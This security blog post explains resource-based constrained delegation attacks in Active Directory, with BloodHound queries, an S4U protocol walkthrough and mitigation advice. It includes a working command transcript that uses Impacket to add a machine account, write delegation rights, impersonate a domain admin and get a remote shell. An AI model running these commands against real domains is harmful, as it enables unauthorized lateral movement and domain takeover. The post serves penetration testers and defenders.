Experts Blog

Hunting Resource-Based Constrained Delegation in Active Directory
September 9, 2022
Matthew Creel

Recently, I have encountered a couple of environments susceptible to lateral movement through resource-based constrained delegation (RBCD) attacks, prompting me to take a deeper dive into the topic. Most of my previous RBCD abuse experience stemmed from ntlmrelayx usage (the `--delegate-access` attack), which can be used very similarly to [shadow credentials for workstation takeover](https://www.fortalicesolutions.com/posts/shadow-credentials-workstation-takeover-edition), due to the fact that machines accounts can edit their own `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute. However, I hadn't consciously been searching BloodHound for permissions over computers that open the door for more opportunistic RBCD usage. This post will focus more on that angle, instead of the relay vector, since I think hunting RBCD paths may fly a tad under the radar for other testers, as it had for me.

## Identifying RBCD Scenarios

Let's start with how to find scenarios allowing RBCD in BloodHound. For the purposes of this blog, we'll assume that I've already compromised the `EZ\matt` account, a basic domain user, and used it to collect BloodHound data. To configure the lab in a vulnerable state, I've granted the *Finance Users* group GenericAll permissions over the WS1.EZ.LAB machine. Either GenericAll or GenericWrite privileges will directly allow modifications to the target computer object for RBCD takeover.

This can be identified by checking the *Inbound Control Rights* section of WS1.EZ.LAB's node info in the BloodHound UI, but doesn't work very well at scale. To search for outlying permissions that may allow RBCD abuse in large domains, I recommend Cypher queries similar to the simple ones included below. In addition to GenericAll and GenericWrite, you can also search for Owns, WriteDacl and WriteOwner permissions, which indirectly enable RBCD by allowing you to grant an owned object GenericAll over the target object, using PowerView or [dacledit.py](https://github.com/SecureAuthCorp/impacket/pull/1291). These queries can help identify low-privilege objects that can modify machine accounts, when abuse doesn't run though the Domain Users group and thus gets glossed over by BloodHound's stock *Find Dangerous Rights for Domain Users Groups* query.

```
# All objects with first-degree permissions allowing RBCD abuse
MATCH (n)-[r:GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner]->(c:Computer) RETURN distinct(n.name), count(c) ORDER BY count(c) ASC

# All users with Nth degree permissions, through nested group memberships, allowing RBCD abuse
MATCH (u:User)-[r:MemberOf*1..]->(g:Group)-[r1:GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner]->(c:Computer) RETURN distinct(n.name), count(c) ORDER BY count(c) ASC
```

You can also utilize Impacket's [findDelegation.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/findDelegation.py) to query the domain for preexisting RBCD relationships.

## RBCD Abuse

RBCD attacks typically follow similar steps to those listed below. If you're using ntlmrelayx's delegate access attack, step 2, and potentially step 1, will look a little different.

### Adding a Machine Account to Active Directory

To perform Kerberos delegation through S4U functions in the later steps, we require control over an account set with an SPN. Machine accounts are easy targets to fulfill this requirement, and in many environments still configured with the default MachineAccountQuota, you can simply add one to the domain. If you're unable to add a new machine account, compromising an existing one will also do the trick. This is easily accomplished as a standard user in most environments through WebDAV + relay attacks, or by compromising local admin rights to any single machine through other means.

In my lab setup, the MachineAccountQuota is 10 and I'll use Impacket's addcomputer.py to add a new machine account named `FORTALICE$` to the domain. Impacket will also add default computer SPNs (HOST and RestrictedKrbHost) to the object.

### Modifying the Target in LDAP

Now that we have control over an account set with a SPN, we can grant it RBCD privileges on the target machine object in LDAP using Impacket's rbcd.py. This will modify WS1$'s `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute, allowing our machine account to impersonate other users to it.

### Requesting a TGS Through S4U Extensions

Next, we can abuse RBCD to obtain a TGS ticket for a service tied to WS1$, impersonating an account that is granted local administrator rights to WS1.EZ.LAB. We can use getST.py to impersonate `EZ\Administrator`, a domain admin, to the CIFS service on WS1.EZ.LAB. (I encountered problems performing the getST step without Kerberos auth, so I first requested a TGT and exported it, but this should be optional.)

Impacket reports that it successfully obtained and saved a service ticket for the administrator account through S4U2Self and S4U2Proxy. At this point we can finish our lateral move to WS1.EZ.LAB, but what is really going on under the hood? Capturing this step with Wireshark, we see two TGS-REQ messages from Kali to the KDC and two TGS-REP messages sent back by the KDC.

### S4U2Self Request

The first of these sequences is the S4U2Self request and response. The S4U extensions are better explained [here](https://harmj0y.medium.com/s4u2pwnage-36efe1a2777c), but S4U2Self essentially allows a service to obtain a forwardable ticket to itself, for another user. Examining the TGS-REQ message, we can see that we're requesting a ticket on behalf of `EZ\Administrator` for the service `fortalice$`. Elsewhere in the kdc-options section of the req-body, the *forwardable* flag is set.

### S4U2Proxy Request

After the KDC responds with the S4U2Self ticket, S4U2Proxy is used to request a TGS ticket to a *different* service as the user impersonated during S4U2Self. Opening the associated TGS-REP shows that we're requesting a ticket for `cifs/ws1.ez.lab` and including the forwardable S4U2Self ticket in the additional-tickets section. This is the point where the KDC will perform a check to ensure that `FORTALICE$` has the required delegation rights (which we set with rbcd.py) before returning the ticket that allows access to WS1.EZ.LAB.

### Authenticating to the Target as an Administrator

With all of that out of the way, we can export the resulting service ticket, and use it to confirm admin rights on WS1.EZ.LAB.

## Attack Transcript
```bash
# Add a machine account and modify msDS-AllowedToActOnBehalfOfOtherIdentity
python3 addcomputer.py ez.lab/user:pass -computer-name FORTALICE -computer-pass password
python3 rbcd.py ez.lab/user:pass -action write -delegate-to 'WS1$' -delegate-from 'FORTALICE$'

# Or use ntlmrelayx's delegate access attack
python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --delegate-access

# Impersonate an admin to the target through S4U2Self and S4U2Proxy
# If this errors, try requesting a TGT with getTGT.py first, then using -k in the getST.py command
python3 getST.py ez.lab/'FORTALICE$':pass -spn cifs/ws1.ez.lab -impersonate administrator

# Utilize the TGS
export KRB5CCNAME=/opt/impacket/examples/administrator.ccache
python3 wmiexec.py ez.lab/administrator@ws1.ez.lab -k -no-pass

# Cleanup RBCD modification after exploitation
python3 rbcd.py ez.lab/user:pass -action remove -delegate-to 'WS1$' -delegate-from 'FORTALICE$'

# Elevated privs will be needed to clean up the added machine account
python3 addcomputer.py ez.lab/administrator:pass -computer-name FORTALICE -delete
```

## Detection and Mitigation
- Set the domain's `ms-DS-MachineAccountQuota` to 0, instead of the default value of 10. This can be done through the *ADSI Edit* application on a DC

  - While not enough on its own, it will at least require the attacker to obtain control of a machine account through some other means than just simply adding one


- Monitor for AD object modifications (event ID 5136 or 4662) where the attribute being modified is msDS-AllowedToActOnBehalfOfOtherIdentity
- Mark privileged accounts as *Account is sensitive and cannot be delegated* in Active Directory

  - This will cause the KDC to report a *KDC_ERR_BADOPTPION* error when requesting a TGS for the sensitive account through S4U functions


- Add privileged accounts to the *Protected Users* [group](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) in Active Directory

  - Membership in this group won't prevent resource-based constrained delegation, but is a good protection measure in general


## References and Credits
- https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd
- https://blog.harmj0y.net/redteaming/another-word-on-delegation/
- https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- https://harmj0y.medium.com/s4u2pwnage-36efe1a2777c
- https://www.alteredsecurity.com/post/resource-based-constrained-delegation-rbcd